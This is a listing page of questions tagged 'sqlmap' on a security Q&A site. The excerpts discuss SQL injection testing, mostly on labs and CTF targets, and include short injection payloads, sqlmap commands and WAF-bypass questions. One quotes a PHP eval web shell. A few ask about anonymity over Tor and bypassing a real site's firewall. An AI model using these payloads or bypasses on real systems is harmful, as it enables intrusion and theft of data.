Questions tagged [sqlmap]

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

Filter by
Sorted by
Tagged with
0 votes
0 answers
17 views

How does the --os-shell parameter in Sqlmap work? Is it still anonymous over Tor?

How does the --os-shell parameter in Sqlmap work? I know its uploading a backdoor, but how is sqlmap uploading it and is the file just a normal reverse shell trojan? And is it still anonymous when ...
user avatar
0 votes
1 answer
25 views

What is the wisdom of using the ASCII function in exploit SQLi?

I mean, I can exploit the vulnerability using a substring function and without using an ASCII function like: SELECT username FROM users WHERE id = 1 AND (SELECT substring(password,1,1) FROM users ...
user avatar
1 vote
1 answer
64 views

How secure and anonymous is the --tor parameter in Sqlmap?

How secure and anonymous is the --tor parameter in Sqlmap? Does it really send every request over Tor and does it have any IP/DNS/STUN requests leak loopholes?
user avatar
0 votes
0 answers
33 views

How to modify a database through SQL injection UNION?

I need help with an sqli exercise. I used sqlmap to find a UNION vulnerability. I managed to get the H2 version with this payload: string') UNION ALL SELECT NULL,H2VERSION(),NULL,NULL,NULL-- But I ...
user avatar
0 votes
1 answer
129 views

Cloudflare SQLinjection protection

I'm testing for vulnerabilities for a specific site using sqlmap. However, the site has a cloudflare firewall which blocks queries including for example *, ANY or OR. I sort of found a bypass while ...
user avatar
0 votes
0 answers
141 views

SQLMAP payloads don't work manually, why?

I was trying out SQLMAP on DVWA (medium security for SQL injection), and I did get a set of payloads (sqlmap chucked out a few payloads that should have worked). But entered manually, I couldn't get ...
user avatar
  • 1
0 votes
0 answers
46 views

How to use sqlmap to test a chain of requests

I'm trying to use sqlmap to test an application where a search is performed in two requests. The first request-response pair is like POST /endpoint.aspx Host: example.com Qf_status: 0 Qf_find: ...
user avatar
  • 131
1 vote
1 answer
114 views

API Sql Injection Need help

I need some help with sqli in API. Webserver IIS 8.5 GET request looks like this ... https://example.com/api/Search?q=Landing Response look like this HTTP/1.1 200 OK ... [{"pageId":1,"...
user avatar
  • 11
0 votes
0 answers
77 views

How to utilise sqlmap's blind enumeration when you already know the SQL injection query

I am looking for some help on how to get the best out of sqlmap. I am practising on a web application that runs the following query when the login form is submitted: SELECT * FROM Users WHERE username ...
user avatar
  • 1
0 votes
1 answer
65 views

Sqlmapapi configuring task options

I'm trying to make scans using Sqlmapapi. I have added a new task, and when I call /option/$taskId/list in response, I receive JSON output with options that can be set. I could not find any ...
user avatar
0 votes
0 answers
93 views

SQL for JSON parameters which contain arrays

I have been using sqlmap for analyzing simple API Post requests which contain simple body parameters inside a json. For example: POST //api/Manage/GetUsersList HTTP/1.1 Host: qaapi.com User-Agent: ...
user avatar
0 votes
0 answers
136 views

Sqlmap, All tested parameters do not appear to be injectable

I am new to SQLMAP, I have been practicing with the Altoro Mutual portal which is a vulnerable portal, just enter the code 'OR 1 = 1 - in one of its forms (Login) and we will obtain administrator ...
user avatar
0 votes
1 answer
194 views

Sqlmap won't pick up injection point. Tweak?

I manually found an injection point, on CTF VM, located on POST form. I found it with the following manual payload : 1' OR SLEEP(1)-- t I would like to use sqlmap. I ended with following call : ...
user avatar
  • 103
0 votes
0 answers
128 views

Sqlmap request and binary payload tampering

I'm attacking an application that reads in application/msbin1 (binary) requests of a form like @\x17GetConfigurationSetting\x08\x1ehttp://tempuri.org/@\x04name\x99\x0einjection_site\x01 (where \x.. ...
user avatar
  • 131
0 votes
0 answers
837 views

SQLMap - Invalid character detected. retrying

I recently discovered an time-based blind SQL injection attack on one of the websites. I was able to dump the data with 100 threads (By default, SQLmap doesn't allow more than 10 but, I modified the ...
user avatar
  • 606
1 vote
1 answer
825 views

Using sqlmap for detecting SQLi on Juice shop's login page

New Sqlmap user, so please be patient :) I've started looking at the tool and I'm curious about its use. For instance, the login page of OWASP's Juice shop is vulnerable to sql injection (' OR 1=1-- ...
user avatar
1 vote
1 answer
311 views

How to configure SQLMap to attack JSON parameter?

Part of a box I'm doing, I can successfully pass basic SQL query 'or'1'='1 with no errors, {"search":"'or'1'='1"} Output: HTTP/1.0 200 OK Trying to error the query {"search&...
user avatar
1 vote
0 answers
340 views

Can sqlmap be used to extract data if the attack is blind?

I'm solving this challenge/lab where SQLi is inside the cookie parameter. After solving it manually, I thought to check if it can extract data. I used sqlmap with --cookie=COOKIE* (Notice * that's the ...
user avatar
  • 11
1 vote
0 answers
517 views

Is it possible to enumerate Microsoft Access database using sqlmap?

I'm trying to enumerate a Microsoft Access database using sqlmap, in particular I run this command: sqlmap -r http.txt --risk 2 --dump-all Anyway it seems is not retrieving a single information. Am I ...
user avatar
  • 477
2 votes
1 answer
985 views

Sqlmap Sleepy User-Agent

I was testing Burp Suite Crawl on some old php sites I made and it found Sleepy User-Agent SQL injection vulnerability User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, ...
user avatar
  • 31
0 votes
1 answer
370 views

SQLi Filter Bypass with banned table/column names

I've studying and practicing different approach to SQLi filter bypass and I faced a challenge. What if the WAF filters look for specific strings rather than SQL keywords? Example: Filter: /UNION/ SQLi:...
user avatar
  • 133
0 votes
0 answers
250 views

Understanding sqlmap's payload for blind sql injection

I am fairly new to sql injections and tried to solve a little hackit to understand everything better. I wasn't able to solve one of the levels so I ran sqlmap to see what it would do. The payloads ...
user avatar
  • 111
0 votes
0 answers
283 views

Why does sqlmap dump column ids only?

I have accessed a database and using --is-dba , I know that the user IS NOT database admin and also using --privileges , I know that the privileges is USAGE . Now I want to know is this the reason ...
user avatar
  • 11
1 vote
1 answer
533 views

Paths in web servers

Using sqlmap I was able to gain access to one database and using --current-user and --privileges. I can confirm that the user is root@localhost with full privileges. The part I have problem with is ...
user avatar
  • 11
1 vote
2 answers
6k views

Never use stored session in sqlmap

I am trying to make sqlmap to avoid fetch data from stored session. How do I achieve that? I have performed sqlmap check once on a target and now that target is offline, I want sqlmap to just stop the ...
user avatar
-1 votes
1 answer
736 views

How to continue performing checks on a site if sqlmap found an issue on a URL of the same site while using --batch option?

I have a file /tmp/urls which has following URLs: http://127.0.0.1:8081/?id=1 http://127.0.0.1:8081/?id2=1 I am using this command to perform checks on file URLs concurrently: python3 sqlmap.py --...
user avatar
-1 votes
1 answer
527 views

How can I dump the last row of a table?

Now in order to be familiar with a site's table , I need to dump the last row of a table named "account" . can you please tell me what parameters I can use to dump only the last row of a ...
user avatar
  • 11
0 votes
2 answers
3k views

sqlmap won't give me results i'm looking for [closed]

I am trying to use sqlmap. Although every time I use it, I just get a response of: [13:39:11] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS [13:39:11] [...
user avatar
0 votes
1 answer
798 views

SQLMap Only Returns information_schema

I run this command python sqlmap.py -u https://acme.com/post.php --data "id=1" --tamper="between,randomcase,space2comment" -v 3 --random-agent --dbs but SQLMap only returns ...
user avatar
0 votes
0 answers
573 views

Sqlmap not detects error based injection

I am working on Hack the VM (hard machine) for my OSCP preparation There is a web app with two drop down boxes.. Year and month.. both contain numbers and a submit to fetch data from DB based on year ...
user avatar
  • 43
0 votes
0 answers
34 views

.php code in .txt file with eval() function [duplicate]

I have found three files with name as below: a.phpfile.txt b.phpfile.txt c.phpfile.txt when i open, each file contained with the following code: <?php @eval($_POST[x]); I have deleted all ...
user avatar
0 votes
0 answers
212 views

SQLmap automation

I'm automating SQL injection using sqlmap. Is there someone who managed to parse sqlmap console output to only report critical findings (vulnerable pages to SQL injection)? The tool doesn't support ...
user avatar
0 votes
0 answers
870 views

Sqlmap waf bypass

This is my first post here, sorry for my english. Im making some test around, because i want to learn more about sql injection. Im not really good as manual sql injection, so im using sqlmap. what ...
user avatar
0 votes
1 answer
2k views

SQLmap finds injectable 'id' parameter but the response is 'Internal Server Error'

I am trying to understand the SQLi so I ran SQLMap with '-vvv' parameter 4: Show also HTTP requests. I did scan one of the vulnerable and 'free to hack' sites. In one of the requests sent, the ...
user avatar
3 votes
2 answers
7k views

SQLMap Cookie Injectioin with Working Manual SQLi

I'm using an existing exploit which calls for a cookie called wp_sap to be set with the following value: ["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"] This works ...
user avatar
  • 171
0 votes
1 answer
516 views

SQLMAP Redirect using xampp

I am learning SQLi using sqlmap and xampp. I set up my lab the same way as per tutorial but when I run sqlmap.py -u "http://localhost/bwapp/sqli_1.php?title=1*" the error got 302 redirected to ...
user avatar
3 votes
2 answers
6k views

sqlmap: Test injection in Basic Authentication?

I have been trying to make sqlmap test the username parameter in a fake login page that uses basic authentication. However I cannot make it test the Authentication header via the asterisk trick: ...
user avatar
  • 155
1 vote
0 answers
521 views

SQLMAP with single URL application

I have a local application which will be accessible only after login. Its single URL application, URL of application won't change, just it use 'XMLHttpRequest' to refresh the content of screen based ...
user avatar
0 votes
0 answers
238 views

Response seems to get redirected if SQL injection query succeeds, if not then it doesn't get redirected

Under the authorization of my friend, I am testing his website against potential vulnerabilities. I was trying to find if I was able to inject a SQL query into a POST request parameter hi' or 1=1 --: ...
user avatar
0 votes
0 answers
1k views

Is this SQLMap query is correct?

I am practicing on some vulnerable application, and I am asked to find an injection vulnerability with a payload. it states there is a common and simple filter in place. Then I need to extract the ...
user avatar
  • 121
2 votes
0 answers
681 views

how to get shell from blind sql injection? [closed]

I'm trying to gain access to a web server after I found blind SQLi on the website. I used sqlmap to automate things. I can read the databases and tables. tried to find a way to get a shell from SQL ...
user avatar
1 vote
2 answers
547 views

Is there any way to find all the endpoints for any website for sql injection? [closed]

I'm wondering, if it's possible to discover all the endpoints for any product which is prone to SQL injection. I want all the endpoints where I can apply SQL injection on my site.
user avatar
2 votes
0 answers
2k views

how to create random request time delay in sqlmap?

How can i configure sql-map to try payloads at random time delay? as an example time between first and second request can be 0.10s and second and third might 0.25 and so on. i know there is --delay ...
user avatar
  • 21
11 votes
2 answers
4k views

Understanding SQLMAP payload

I was participating in a CTF and there was a SQL Injection challenge. There is a Wordpress page with a vulnerable plugin parameter (let's call the website https://vulnerable.com/), and the solution ...
user avatar
0 votes
0 answers
2k views

Boolean blind SQLi with sqlmap

I am trying to run sqlmap in order to find a flag for a CTF. The injection string is sent via a POST request in the parameter called search. The response is received as either 1, 2, or 3 (error codes),...
user avatar
0 votes
0 answers
1k views

SQLMAP injection with dynamic token?

I've a web app that has an injection point in POST data. POST data requires 4 params and one of these is a session-custom token. The problem is that every time request is made i need to get a new ...
user avatar
  • 1
1 vote
1 answer
5k views

Dump specific rows from database using sqlmap

I'm trying to dump using sqlmap, I have 3 columns: userid, email, password with 2900000 entries in each. When I just --dump the table, it will start from 1 to 2900000. I don't want all the 2900000, ...
user avatar
4 votes
1 answer
4k views

How do I use sqlmap to dump the OWASP Juice Shop schema?

I cannot seem to get sqlmap to successfully exploit and retrieve schema information from OWASP's deliberately vulnerable Juice Shop web application. I've tried to be very specific in my sqlmap ...
user avatar
  • 143
2 votes
1 answer
453 views

Sqlmap, update query and risk param

I was reading about the 'risk' param for sqlmap, and the docs contain information, that risk 3 level can update tables. What does it mean? As far as I understand, this can happen either in the app ...
user avatar
  • 23
1 vote
1 answer
7k views

sqlmap - Testing parameters when reading request from file

After hours of trial an error I decided to ask here for some advice. I am currently trying to perform a sqlinj using using sqlmap on a system that was specifically designed to be attacked. The API ...
user avatar
  • 141